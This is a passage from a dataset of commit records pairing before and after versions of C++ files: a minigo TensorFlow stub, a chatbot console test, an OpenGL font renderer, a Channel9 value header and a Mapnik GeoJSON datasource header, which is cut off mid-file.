strcmp(argv[i], \"-namespace\") == 0 ||\n                strcmp(argv[i], \"-object\") == 0 ||\n                strcmp(argv[i], \"-string\") == 0)\n            {\n                ++i;\n            }\n            continue;\n        }\n        result = output(argv[i], isystem, useExceptions, stringTypeName, indent,\n                        skeleton, generic);\n    }\n\n    return result;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright 2018 Google LLC\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#include \"cc\/logging.h\"\n#include \"cc\/tf_utils.h\"\n\nnamespace minigo {\nnamespace tf_utils {\n\nvoid WriteGameExamples(const std::string& output_dir,\n                       const std::string& output_name, const Game& game) {\n  MG_LOG(FATAL)\n      << \"Can't write TensorFlow examples without TensorFlow support enabled. \"\n         \"Please recompile, passing --define=tf=1 to bazel build.\";\n}\n\n}  \/\/ namespace tf_utils\n}  \/\/ namespace minigo\n<commit_msg>fix signature for WriteGameExamples dummy implementation<commit_after>\/\/ Copyright 2018 Google LLC\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#include \"cc\/logging.h\"\n#include \"cc\/tf_utils.h\"\n\nnamespace minigo {\nnamespace tf_utils {\n\nvoid WriteGameExamples(const std::string& output_dir,\n                       const std::string& output_name,\n                       const FeatureDescriptor& feature_desc,\n                       const Game& game) {\n  MG_LOG(FATAL)\n      << \"Can't write TensorFlow examples without TensorFlow support enabled. \"\n         \"Please recompile, passing --define=tf=1 to bazel build.\";\n}\n\n}  \/\/ namespace tf_utils\n}  \/\/ namespace minigo\n<|endoftext|>"}
{"text":"<commit_before>#include <iostream>\n\n#include \"core\/chatbot.h\"\n#include \"core\/cmdline.h\"\n\n#include \"core\/os.h\"\n#include \"core\/vfs.h\"\n\nint\nmain()\n{\n  ChatBot chatbot;\n\n  const auto current_directory = GetCurrentDirectory();\n  vfs::FileSystem file_system;\n  vfs::FileSystemRootFolder::AddRoot(&file_system, current_directory);\n\n  const auto error = chatbot.LoadFromFile(&file_system, \"chatbot.json\");\n  if(!error.empty())\n  {\n    std::cerr << \"Failed to load chatbot: \" << error << \"\\n\";\n    return -2;\n  }\n\n  std::string input;\n  CmdLine     cmdline{&std::cout};\n  cmdline.Register(\"debug\", [&chatbot](const CmdLine::Args& args) {\n    std::cout << chatbot.DebugLastResponse(args);\n    std::cout << \"\\n\\n\";\n  });\n  cmdline.Register(\"kill\", [&chatbot](const CmdLine::Args& args) {\n    chatbot.is_in_conversation = false;\n    std::cout << \"Killing chatbot.\\n\\n\";\n  });\n\n  std::cout << chatbot.GetSignOnMessage() << \"\\n\";\n\n  bool first = true;\n  do\n  {\n    if(!first)\n    {\n      if(!input.empty() && input[0] == '@')\n      {\n        const std::string in{input.begin() + 1, input.end()};\n        cmdline.Run(in);\n      }\n      else\n      {\n        const std::string response = chatbot.GetResponse(input);\n        std::cout << response << \"\\n\";\n      }\n    }\n    std::cout << \"> \";\n    first = false;\n  } while(chatbot.IsInConversation() && std::getline(std::cin, input));\n\n  return 0;\n}\n<commit_msg>(fix) chatbot_test compiles<commit_after>#include <iostream>\n\n#include \"core\/chatbot.h\"\n#include \"core\/cmdline.h\"\n\n#include \"core\/os.h\"\n#include \"core\/vfs.h\"\n\nusing namespace euphoria::core;\n\nint\nmain()\n{\n  ChatBot chatbot;\n\n  const auto current_directory = GetCurrentDirectory();\n  vfs::FileSystem file_system;\n  vfs::FileSystemRootFolder::AddRoot(&file_system, current_directory);\n\n  const auto error = chatbot.LoadFromFile(&file_system, \"chatbot.json\");\n  if(!error.empty())\n  {\n    std::cerr << \"Failed to load chatbot: \" << error << \"\\n\";\n    return -2;\n  }\n\n  std::string input;\n  CmdLine     cmdline{&std::cout};\n  cmdline.Register(\"debug\", [&chatbot](const CmdLine::Args& args) {\n    std::cout << chatbot.DebugLastResponse(args);\n    std::cout << \"\\n\\n\";\n  });\n  cmdline.Register(\"kill\", [&chatbot](const CmdLine::Args& args) {\n    chatbot.is_in_conversation = false;\n    std::cout << \"Killing chatbot.\\n\\n\";\n  });\n\n  std::cout << chatbot.GetSignOnMessage() << \"\\n\";\n\n  bool first = true;\n  do\n  {\n    if(!first)\n    {\n      if(!input.empty() && input[0] == '@')\n      {\n        const std::string in{input.begin() + 1, input.end()};\n        cmdline.Run(in);\n      }\n      else\n      {\n        const std::string response = chatbot.GetResponse(input);\n        std::cout << response << \"\\n\";\n      }\n    }\n    std::cout << \"> \";\n    first = false;\n  } while(chatbot.IsInConversation() && std::getline(std::cin, input));\n\n  return 0;\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"Font.h\"\r\n\r\n#include <ExceptionSDL.h>\r\n\r\n#ifdef WIN32\r\n#include \"windows.h\"\r\n#endif\r\n#include <GL\/gl.h>\r\n\r\nnamespace Chimera {\r\n\r\nFont::Font ( const char* _fontFile, int _size ) {\r\n    \r\n#ifdef TTF_NOVO \r\n    \r\n    pFont = TTF_OpenFont( _fontFile, _size );\r\n    if(!pFont)\r\n       throw ExceptionSDL ( ExceptionCode::READ, \"Arquivo de fonte falha ao carregar:\" + std::string(_fontFile ) );\r\n    \r\n    TTF_SetFontStyle(pFont, TTF_STYLE_NORMAL);\r\n    \r\n#else  \r\n    if ( _fontFile == nullptr )\r\n       ExceptionChimera ( ExceptionCode::READ,\"Arquivo de Fonte Nulo\" );\r\n\r\n    pFont = new FTGLPixmapFont ( _fontFile );\r\n    if ( pFont==nullptr )\r\n       ExceptionChimera ( ExceptionCode::READ,\"Carga de arquivo invalida\" );\r\n\r\n    if ( pFont->Error() )\r\n       ExceptionChimera ( ExceptionCode::READ,\"Carga de Fonte invalida\" );\r\n\r\n    if ( pFont->FaceSize ( _size ) ==false ) {\r\n       if ( pFont ) {\r\n           delete pFont;\r\n           pFont = nullptr;\r\n       }\r\n       ExceptionChimera ( ExceptionCode::READ,\"Tamanho Fonte invalida\" );\r\n    }\r\n    \r\n#endif \r\n}\r\n\r\nFont::~Font ( void ) {\r\n    \r\n    if ( pFont != nullptr ) {\r\n       delete pFont;\r\n       pFont = nullptr;\r\n    }\r\n    \r\n}\r\n\r\nvoid Font::render (const float &_x, const float &_y,const float &_z ,const Color &_color, std::string *_pTxt ) {\r\n   \r\n#ifdef TTF_NOVO \r\n        SDL_Color Color = {_color.r , _color.g , _color.b};\r\n        SDL_Surface *Message = TTF_RenderText_Blended(const_cast<TTF_Font*>(pFont), _pTxt->c_str(), Color);\r\n        unsigned Texture = 0;\r\n \r\n        \/*Generate an OpenGL 2D texture from the SDL_Surface*.*\/\r\n        glGenTextures(1, &Texture);\r\n        glBindTexture(GL_TEXTURE_2D, Texture);\r\n \r\n        glTexParameterf(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_LINEAR);\r\n        glTexParameterf(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_LINEAR);\r\n         \r\n        glTexImage2D(GL_TEXTURE_2D, 0, 3, Message->w, Message->h, 0, GL_BGR, GL_UNSIGNED_BYTE, Message->pixels);\r\n        \/\/glTexImage2D(GL_TEXTURE_2D, 0, 3, pImage->w,pImage->h, 0, GL_BGR_EXT,GL_UNSIGNED_BYTE, pImage->pixels);\r\n\r\n        \/*Draw this texture on a quad with the given xyz coordinates.*\/\r\n\/\/         glBegin(GL_QUADS);\r\n\/\/                 glTexCoord2d(1, 1); glVertex3d(_x, _y, _z);\r\n\/\/                 glTexCoord2d(0, 1); glVertex3d(_x+Message->w, _y, _z);\r\n\/\/                 glTexCoord2d(0, 0); glVertex3d(_x+Message->w, _y+Message->h, _z);\r\n\/\/                 glTexCoord2d(1, 0); glVertex3d(_x, _y+Message->h, _z);\r\n\/\/         glEnd();\r\n        glBegin(GL_QUADS);\r\n                glTexCoord2d(0, 0); glVertex3d(_x, _y, _z);\r\n                glTexCoord2d(1, 0); glVertex3d(_x+Message->w, _y, _z);\r\n                glTexCoord2d(1, 1); glVertex3d(_x+Message->w, _y+Message->h, _z);\r\n                glTexCoord2d(0, 1); glVertex3d(_x, _y+Message->h, _z);\r\n        glEnd();\r\n \r\n        \/*Clean up.*\/\r\n        glDeleteTextures(1, &Texture);\r\n        SDL_FreeSurface(Message);\r\n#else  \r\n    \r\n    glColor3fv ( _color.ptr() );\r\n    glRasterPos2f ( _x, _y );\r\n    pFont->Render ( _pTxt->c_str(), _pTxt->size() );\r\n    \r\n#endif \r\n}\r\n\r\n}\r\n\/\/ kate: indent-mode cstyle; indent-width 4; replace-tabs on; \r\n<commit_msg>fonte invertida visivel posix<commit_after>#include \"Font.h\"\r\n\r\n#include <ExceptionSDL.h>\r\n\r\n#ifdef WIN32\r\n#include \"windows.h\"\r\n#endif\r\n#include <GL\/gl.h>\r\n\r\nnamespace Chimera {\r\n\r\nFont::Font ( const char* _fontFile, int _size ) {\r\n    \r\n#ifdef TTF_NOVO \r\n    \r\n    pFont = TTF_OpenFont( _fontFile, _size );\r\n    if(!pFont)\r\n       throw ExceptionSDL ( ExceptionCode::READ, \"Arquivo de fonte falha ao carregar:\" + std::string(_fontFile ) );\r\n    \r\n    TTF_SetFontStyle(pFont, TTF_STYLE_NORMAL);\r\n    \r\n#else  \r\n    if ( _fontFile == nullptr )\r\n       ExceptionChimera ( ExceptionCode::READ,\"Arquivo de Fonte Nulo\" );\r\n\r\n    pFont = new FTGLPixmapFont ( _fontFile );\r\n    if ( pFont==nullptr )\r\n       ExceptionChimera ( ExceptionCode::READ,\"Carga de arquivo invalida\" );\r\n\r\n    if ( pFont->Error() )\r\n       ExceptionChimera ( ExceptionCode::READ,\"Carga de Fonte invalida\" );\r\n\r\n    if ( pFont->FaceSize ( _size ) ==false ) {\r\n       if ( pFont ) {\r\n           delete pFont;\r\n           pFont = nullptr;\r\n       }\r\n       ExceptionChimera ( ExceptionCode::READ,\"Tamanho Fonte invalida\" );\r\n    }\r\n    \r\n#endif \r\n}\r\n\r\nFont::~Font ( void ) {\r\n    \r\n    if ( pFont != nullptr ) {\r\n       delete pFont;\r\n       pFont = nullptr;\r\n    }\r\n    \r\n}\r\n\r\nvoid Font::render (const float &_x, const float &_y,const float &_z ,const Color &_color, std::string *_pTxt ) {\r\n   \r\n#ifdef TTF_NOVO \r\n        SDL_Color Color = {_color.r , _color.g , _color.b};\r\n        SDL_Surface *Message = TTF_RenderText_Blended(const_cast<TTF_Font*>(pFont), _pTxt->c_str(), Color);\r\n        unsigned Texture = 0;\r\n \r\n        \/*Generate an OpenGL 2D texture from the SDL_Surface*.*\/\r\n        glGenTextures(1, &Texture);\r\n        glBindTexture(GL_TEXTURE_2D, Texture);\r\n \r\n        glTexParameterf(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_LINEAR);\r\n        glTexParameterf(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_LINEAR);\r\n         \r\n        glTexImage2D(GL_TEXTURE_2D, 0, GL_RGBA, Message->w, Message->h, 0,GL_BGRA,\r\n                     GL_UNSIGNED_BYTE, Message->pixels);\r\n        \r\n        \/*Draw this texture on a quad with the given xyz coordinates.*\/\r\n\/\/         glBegin(GL_QUADS);\r\n\/\/                 glTexCoord2d(1, 1); glVertex3d(_x, _y, _z);\r\n\/\/                 glTexCoord2d(0, 1); glVertex3d(_x+Message->w, _y, _z);\r\n\/\/                 glTexCoord2d(0, 0); glVertex3d(_x+Message->w, _y+Message->h, _z);\r\n\/\/                 glTexCoord2d(1, 0); glVertex3d(_x, _y+Message->h, _z);\r\n\/\/         glEnd();\r\n        glBegin(GL_QUADS);\r\n                glTexCoord2d(0, 0); glVertex3d(_x, _y, _z);\r\n                glTexCoord2d(1, 0); glVertex3d(_x+Message->w, _y, _z);\r\n                glTexCoord2d(1, 1); glVertex3d(_x+Message->w, _y+Message->h, _z);\r\n                glTexCoord2d(0, 1); glVertex3d(_x, _y+Message->h, _z);\r\n        glEnd();\r\n \r\n        \/*Clean up.*\/\r\n        glDeleteTextures(1, &Texture);\r\n        SDL_FreeSurface(Message);\r\n#else  \r\n    \r\n    glColor3fv ( _color.ptr() );\r\n    glRasterPos2f ( _x, _y );\r\n    pFont->Render ( _pTxt->c_str(), _pTxt->size() );\r\n    \r\n#endif \r\n}\r\n\r\n}\r\n\/\/ kate: indent-mode cstyle; indent-width 4; replace-tabs on; \r\n<|endoftext|>"}
{"text":"<commit_before>#pragma once\n\n#include <vector>\n\n#include \"channel9.hpp\"\n#include \"memory_pool.hpp\"\n#include \"string.hpp\"\n\nnamespace Channel9\n{\n\tunion Value\n\t{\n\t\tenum {\n\t\t\tTYPE_SHIFT\t\t= 56,\n\t\t\tTYPE_MASK \t\t= 0xf000000000000000ULL,\n\t\t\tHEAP_TYPE_MASK  = 0xff00000000000000ULL,\n\t\t\tVALUE_MASK \t\t= 0x0fffffffffffffffULL,\n\t\t\tPOINTER_MASK \t= 0x00007fffffffffffULL,\n\t\t};\n\n\t\tuint64_t raw;\n\t\tint64_t machine_num;\n\t\tdouble float_num;\n\n\t\tconst String *str_p;\n\t\tconst Tuple *tuple_p;\n\t\tconst Message *msg_p;\n\t\tCallableContext *call_ctx_p;\n\t\tRunnableContext *ret_ctx_p;\n\t};\n\n\textern Value Nil;\n\textern Value True;\n\textern Value False;\n\textern Value Undef;\n\n\tinline uint64_t type_mask(ValueType type)\n\t{\n\t\treturn (uint64_t)(type) << Value::TYPE_SHIFT;\n\t}\n\n\tinline ValueType basic_type(const Value &val)\n\t{\n\t\treturn ValueType((val.raw & Value::TYPE_MASK) >> Value::TYPE_SHIFT);\n\t}\n\n\tinline ValueType type(const Value &val)\n\t{\n\t\tValueType t = basic_type(val);\n\t\tif (t != HEAP_TYPE)\n\t\t\treturn t;\n\t\telse\n\t\t\treturn ValueType((val.raw & Value::HEAP_TYPE_MASK) >> Value::TYPE_SHIFT);\n\t}\n\tinline bool is(const Value &val, ValueType t)\n\t{\n\t\treturn type(val) == t;\n\t}\n\tinline bool is_truthy(const Value &val) { return !((basic_type(val) & FALSY_MASK) == FALSY_PATTERN); }\n\tinline bool is_number(const Value &val) { ValueType t = basic_type(val); return t == POSITIVE_NUMBER || t == NEGATIVE_NUMBER; }\n\tinline bool same_type(const Value &l, const Value &r)\n\t{\n\t\treturn type(l) == type(r);\n\t}\n\n\tbool complex_compare(const Value &l, const Value &r);\n\n\tinline bool operator==(const Value &l, const Value &r)\n\t{\n\t\tif (memcmp(&l, &r, sizeof(Value)) == 0)\n\t\t\treturn true;\n\t\telse if (same_type(l, r)) {\n\t\t\treturn complex_compare(l, r);\n\t\t} else {\n\t\t\treturn false;\n\t\t}\n\t}\n\tinline bool operator!=(const Value &l, const Value &r)\n\t{\n\t\treturn !(l == r);\n\t}\n\n\tinline const Value &bvalue(bool truthy) { return truthy ? True : False; }\n\n\ttemplate <typename tPtr>\n\ttPtr *ptr(const Value &val)\n\t{\n\t\tDO_DEBUG if (!is(val, CALLABLE_CONTEXT)) assert(value_pool.validate((tPtr*)(val.raw & Value::POINTER_MASK)));\n\t\treturn (tPtr*)(val.raw & Value::POINTER_MASK);\n\t}\n\n\ttemplate <typename tPtr>\n\tinline Value make_value_ptr(ValueType type, tPtr value)\n\t{\n\t\tValue val = {type_mask(type) | ((uint64_t)value & Value::VALUE_MASK)};\n\t\treturn val;\n\t}\n\tinline Value value(long long machine_num)\n\t{\/\/cut off the top 4 bits, maintaining the sign\n\t\tuint64_t type = (uint64_t)(machine_num >> 4) & Value::TYPE_MASK;\n\t\tuint64_t num = type | ((uint64_t)(machine_num) & Value::VALUE_MASK);\n\t\tValue val = {((uint64_t)(num))};\n\t\treturn val;\n\t}\n\tinline Value value(double float_num)\n\t{\/\/cut off the bottom 4 bits of precision\n\t\tuint64_t num = type_mask(FLOAT_NUM) | (*reinterpret_cast<uint64_t*>(&float_num) >> 4);\n\t\tValue val = {((uint64_t)(num))};\n\t\treturn val;\n\t}\n\tinline double float_num(Value val)\n\t{\n\t\tuint64_t num = (val.raw & Value::VALUE_MASK) << 4;\n\t\treturn *reinterpret_cast<double*>(&num);\n\t}\n\n\tinline Value value(const std::string &str) { return make_value_ptr(STRING, new_string(str)); }\n\tinline Value value(const String *str) { return make_value_ptr(STRING, str); }\n\n\tinline Value value(CallableContext *call_ctx) { return make_value_ptr(CALLABLE_CONTEXT, call_ctx); }\n\tinline Value value(RunnableContext *ret_ctx) { return make_value_ptr(RUNNABLE_CONTEXT, ret_ctx); }\n\tinline Value value(RunningContext *ret_ctx) { return make_value_ptr(RUNNING_CONTEXT, ret_ctx); }\n\n\tvoid gc_scan(Value &from);\n\n\tstd::string inspect(const Value &val);\n\n\ttemplate <typename tVal>\n\tclass GCRef : private GCRoot\n\t{\n\tprivate:\n\t\ttVal m_val;\n\n\tpublic:\n\t\tGCRef(const tVal &val)\n\t\t : GCRoot(value_pool), m_val(val)\n\t\t{}\n\t\tGCRef(const GCRef<tVal> &ref)\n\t\t : GCRoot(value_pool), m_val(ref.m_val)\n\t\t{}\n\n\t\tvoid scan()\n\t\t{\n\t\t\tvalue_pool.mark(&m_val);\n\t\t}\n\n\t\tconst tVal &operator*() const { return m_val; }\n\t\ttVal &operator*() { return m_val; }\n\t\tconst tVal &operator->() const { return m_val; }\n\t\ttVal &operator->() { return m_val; }\n\t};\n\n\t\/\/ Specialize GCRef::scan for Values as we only scan them.\n\t\/\/ They take care of marking themselves.\n\ttemplate <>\n\tinline void GCRef<Value>::scan()\n\t{\n\t\tgc_scan(m_val);\n\t}\n\n\ttemplate <typename tVal>\n\tinline GCRef<tVal> gc_ref(const tVal &val)\n\t{\n\t\treturn GCRef<tVal>(val);\n\t}\n}\n#include \"tuple.hpp\"\n\n<commit_msg>Fix a sign extension bug for 32bit platforms<commit_after>#pragma once\n\n#include <vector>\n\n#include \"channel9.hpp\"\n#include \"memory_pool.hpp\"\n#include \"string.hpp\"\n\nnamespace Channel9\n{\n\tunion Value\n\t{\n\t\tenum {\n\t\t\tTYPE_SHIFT\t\t= 56,\n\t\t\tTYPE_MASK \t\t= 0xf000000000000000ULL,\n\t\t\tHEAP_TYPE_MASK  = 0xff00000000000000ULL,\n\t\t\tVALUE_MASK \t\t= 0x0fffffffffffffffULL,\n\t\t\tPOINTER_MASK \t= 0x00007fffffffffffULL,\n\t\t};\n\n\t\tuint64_t raw;\n\t\tint64_t machine_num;\n\t\tdouble float_num;\n\n\t\tconst String *str_p;\n\t\tconst Tuple *tuple_p;\n\t\tconst Message *msg_p;\n\t\tCallableContext *call_ctx_p;\n\t\tRunnableContext *ret_ctx_p;\n\t};\n\n\textern Value Nil;\n\textern Value True;\n\textern Value False;\n\textern Value Undef;\n\n\tinline uint64_t type_mask(ValueType type)\n\t{\n\t\treturn (uint64_t)(type) << Value::TYPE_SHIFT;\n\t}\n\n\tinline ValueType basic_type(const Value &val)\n\t{\n\t\treturn ValueType((val.raw & Value::TYPE_MASK) >> Value::TYPE_SHIFT);\n\t}\n\n\tinline ValueType type(const Value &val)\n\t{\n\t\tValueType t = basic_type(val);\n\t\tif (t != HEAP_TYPE)\n\t\t\treturn t;\n\t\telse\n\t\t\treturn ValueType((val.raw & Value::HEAP_TYPE_MASK) >> Value::TYPE_SHIFT);\n\t}\n\tinline bool is(const Value &val, ValueType t)\n\t{\n\t\treturn type(val) == t;\n\t}\n\tinline bool is_truthy(const Value &val) { return !((basic_type(val) & FALSY_MASK) == FALSY_PATTERN); }\n\tinline bool is_number(const Value &val) { ValueType t = basic_type(val); return t == POSITIVE_NUMBER || t == NEGATIVE_NUMBER; }\n\tinline bool same_type(const Value &l, const Value &r)\n\t{\n\t\treturn type(l) == type(r);\n\t}\n\n\tbool complex_compare(const Value &l, const Value &r);\n\n\tinline bool operator==(const Value &l, const Value &r)\n\t{\n\t\tif (memcmp(&l, &r, sizeof(Value)) == 0)\n\t\t\treturn true;\n\t\telse if (same_type(l, r)) {\n\t\t\treturn complex_compare(l, r);\n\t\t} else {\n\t\t\treturn false;\n\t\t}\n\t}\n\tinline bool operator!=(const Value &l, const Value &r)\n\t{\n\t\treturn !(l == r);\n\t}\n\n\tinline const Value &bvalue(bool truthy) { return truthy ? True : False; }\n\n\ttemplate <typename tPtr>\n\ttPtr *ptr(const Value &val)\n\t{\n\t\tDO_DEBUG if (!is(val, CALLABLE_CONTEXT)) assert(value_pool.validate((tPtr*)(val.raw & Value::POINTER_MASK)));\n\t\treturn (tPtr*)(val.raw & Value::POINTER_MASK);\n\t}\n\n\ttemplate <typename tPtr>\n\tinline Value make_value_ptr(ValueType type, tPtr value)\n\t{\n\t\tValue val = {type_mask(type) | ((uint64_t)value & Value::POINTER_MASK)};\n\t\treturn val;\n\t}\n\tinline Value value(long long machine_num)\n\t{\/\/cut off the top 4 bits, maintaining the sign\n\t\tuint64_t type = (uint64_t)(machine_num >> 4) & Value::TYPE_MASK;\n\t\tuint64_t num = type | ((uint64_t)(machine_num) & Value::VALUE_MASK);\n\t\tValue val = {((uint64_t)(num))};\n\t\treturn val;\n\t}\n\tinline Value value(double float_num)\n\t{\/\/cut off the bottom 4 bits of precision\n\t\tuint64_t num = type_mask(FLOAT_NUM) | (*reinterpret_cast<uint64_t*>(&float_num) >> 4);\n\t\tValue val = {((uint64_t)(num))};\n\t\treturn val;\n\t}\n\tinline double float_num(Value val)\n\t{\n\t\tuint64_t num = (val.raw & Value::VALUE_MASK) << 4;\n\t\treturn *reinterpret_cast<double*>(&num);\n\t}\n\n\tinline Value value(const std::string &str) { return make_value_ptr(STRING, new_string(str)); }\n\tinline Value value(const String *str) { return make_value_ptr(STRING, str); }\n\n\tinline Value value(CallableContext *call_ctx) { return make_value_ptr(CALLABLE_CONTEXT, call_ctx); }\n\tinline Value value(RunnableContext *ret_ctx) { return make_value_ptr(RUNNABLE_CONTEXT, ret_ctx); }\n\tinline Value value(RunningContext *ret_ctx) { return make_value_ptr(RUNNING_CONTEXT, ret_ctx); }\n\n\tvoid gc_scan(Value &from);\n\n\tstd::string inspect(const Value &val);\n\n\ttemplate <typename tVal>\n\tclass GCRef : private GCRoot\n\t{\n\tprivate:\n\t\ttVal m_val;\n\n\tpublic:\n\t\tGCRef(const tVal &val)\n\t\t : GCRoot(value_pool), m_val(val)\n\t\t{}\n\t\tGCRef(const GCRef<tVal> &ref)\n\t\t : GCRoot(value_pool), m_val(ref.m_val)\n\t\t{}\n\n\t\tvoid scan()\n\t\t{\n\t\t\tvalue_pool.mark(&m_val);\n\t\t}\n\n\t\tconst tVal &operator*() const { return m_val; }\n\t\ttVal &operator*() { return m_val; }\n\t\tconst tVal &operator->() const { return m_val; }\n\t\ttVal &operator->() { return m_val; }\n\t};\n\n\t\/\/ Specialize GCRef::scan for Values as we only scan them.\n\t\/\/ They take care of marking themselves.\n\ttemplate <>\n\tinline void GCRef<Value>::scan()\n\t{\n\t\tgc_scan(m_val);\n\t}\n\n\ttemplate <typename tVal>\n\tinline GCRef<tVal> gc_ref(const tVal &val)\n\t{\n\t\treturn GCRef<tVal>(val);\n\t}\n}\n#include \"tuple.hpp\"\n\n<|endoftext|>"}
{"text":"<commit_before>\/*****************************************************************************\n *\n * This file is part of Mapnik (c++ mapping toolkit)\n *\n * Copyright (C) 2012 Artem Pavlenko\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA\n *\n *****************************************************************************\/\n\n#ifndef GEOJSON_DATASOURCE_HPP\n#define GEOJSON_DATASOURCE_HPP\n\n\/\/ mapnik\n#include <mapnik\/datasource.hpp>\n#include <mapnik\/params.hpp>\n#include <mapnik\/query.hpp>\n#include <mapnik\/feature.hpp>\n#include <mapnik\/box2d.hpp>\n#include <mapnik\/coord.hpp>\n#include <mapnik\/feature_layer_desc.hpp>\n#include <mapnik\/unicode.hpp>\n\n\/\/ boost\n#include <boost\/optional.hpp>\n#pragma clang diagnostic push\n#pragma clang diagnostic ignored \"-Wunused-variable\"\n#include <boost\/geometry\/geometries\/point_xy.hpp>\n#include <boost\/geometry\/geometries\/box.hpp>\n#include <boost\/geometry\/geometries\/geometries.hpp>\n#include <boost\/geometry.hpp>\n#include <boost\/version.hpp>\n#if BOOST_VERSION >= 105600\n#include <boost\/geometry\/index\/rtree.hpp>\n#else\n#include <boost\/geometry\/extensions\/index\/rtree\/rtree.hpp>\n#endif\n#pragma clang diagnostic pop\n\n\/\/ stl\n#include <memory>\n#include <vector>\n#include <string>\n#include <map>\n#include <deque>\n\nclass geojson_datasource : public mapnik::datasource\n{\npublic:\n    using point_type = boost::geometry::model::d2::point_xy<double>;\n    using box_type = boost::geometry::model::box<point_type>;\n\n#if BOOST_VERSION >= 105600\n    using item_type = std::pair<box_type,std::size_t>;\n    using linear_type = boost::geometry::index::linear<16,1>;\n    using spatial_index_type = boost::geometry::index::rtree<item_type,linear_type>;\n#else\n    using item_type = std::size_t;\n    using spatial_index_type = boost::geometry::index::rtree<box_type,std::size_t>;\n#endif\n\n    \/\/ constructor\n    geojson_datasource(mapnik::parameters const& params);\n    virtual ~geojson_datasource ();\n    mapnik::datasource::datasource_t type() const;\n    static const char * name();\n    mapnik::featureset_ptr features(mapnik::query const& q) const;\n    mapnik::featureset_ptr features_at_point(mapnik::coord2d const& pt, double tol = 0) const;\n    mapnik::box2d<double> envelope() const;\n    mapnik::layer_descriptor get_descriptor() const;\n    boost::optional<mapnik::datasource::geometry_t> get_geometry_type() const;\n    template <typename T>\n    void parse_geojson(T const& buffer);\nprivate:\n    mapnik::datasource::datasource_t type_;\n    mapnik::layer_descriptor desc_;\n    std::string filename_;\n    std::string inline_string_;\n    mapnik::box2d<double> extent_;\n    std::vector<mapnik::feature_ptr> features_;\n    spatial_index_type tree_;\n};\n\n\n#endif \/\/ GEOJSON_DATASOURCE_HPP\n<commit_msg>use finer control over rtree instantiation<commit_after>\/*****************************************************************************\n *\n * This file is part of Mapnik (c++ mapping toolkit)\n *\n * Copyright (C) 2012 Artem Pavlenko\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA\n *\n *****************************************************************************\/\n\n#ifndef GEOJSON_DATASOURCE_HPP\n#define GEOJSON_DATASOURCE_HPP\n\n\/\/ mapnik\n#include <mapnik\/datasource.hpp>\n#include <mapnik\/params.hpp>\n#include <mapnik\/query.hpp>\n#include <mapnik\/feature.hpp>\n#include <mapnik\/box2d.hpp>\n#include <mapnik\/coord.hpp>\n#include <mapnik\/feature_layer_desc.hpp>\n#include <mapnik\/unicode.hpp>\n\n\/\/ boost\n#include <boost\/optional.hpp>\n#pragma clang diagnostic push\n#pragma clang diagnostic ignored \"-Wunused-variable\"\n#include <boost\/geometry\/geometries\/point_xy.hpp>\n#include <boost\/geometry\/geometries\/box.hpp>\n#include <boost\/geometry\/geometries\/geometries.hpp>\n#include <boost\/geometry.hpp>\n#include <boost\/version.hpp>\n#if BOOST_VERSION >= 105600\n#include <boost\/geometry\/index\/rtree.hpp>\n#else\n#include <boost\/geometry\/extensions\/index\/rtree\/rtree.hpp>\n#endif\n#pragma clang diagnostic pop\n\n\/\/ stl\n#include <memory>\n#include <vector>\n#include <string>\n#include <map>\n#include <deque>\n\n\n#if BOOST_VERSION >= 105600\ntemplate <std::size_t Max, std::size_t Min>\nstruct geojson_linear : boost::geometry::index::linear<Max,Min> {};\n\nnamespace boost { namespace geometry { namespace index { namespace detail { namespace rtree {\n\ntemplate <std::size_t Max, std::size_t Min>\nstruct options_type<geojson_linear<Max,Min> >\n{\n    using type = options<geojson_linear<Max, Min>,\n                         insert_default_tag,\n                         choose_by_content_diff_tag,\n                         split_default_tag,\n                         linear_tag,\n                         node_s_mem_static_tag>;\n};\n\n}}}}}\n\n#endif \/\/BOOST_VERSION >= 105600\n\nclass geojson_datasource : public mapnik::datasource\n{\npublic:\n    using point_type = boost::geometry::model::point<double, 2, boost::geometry::cs::cartesian>;\n    using box_type = boost::geometry::model::box<point_type>;\n\n#if BOOST_VERSION >= 105600\n    using item_type = 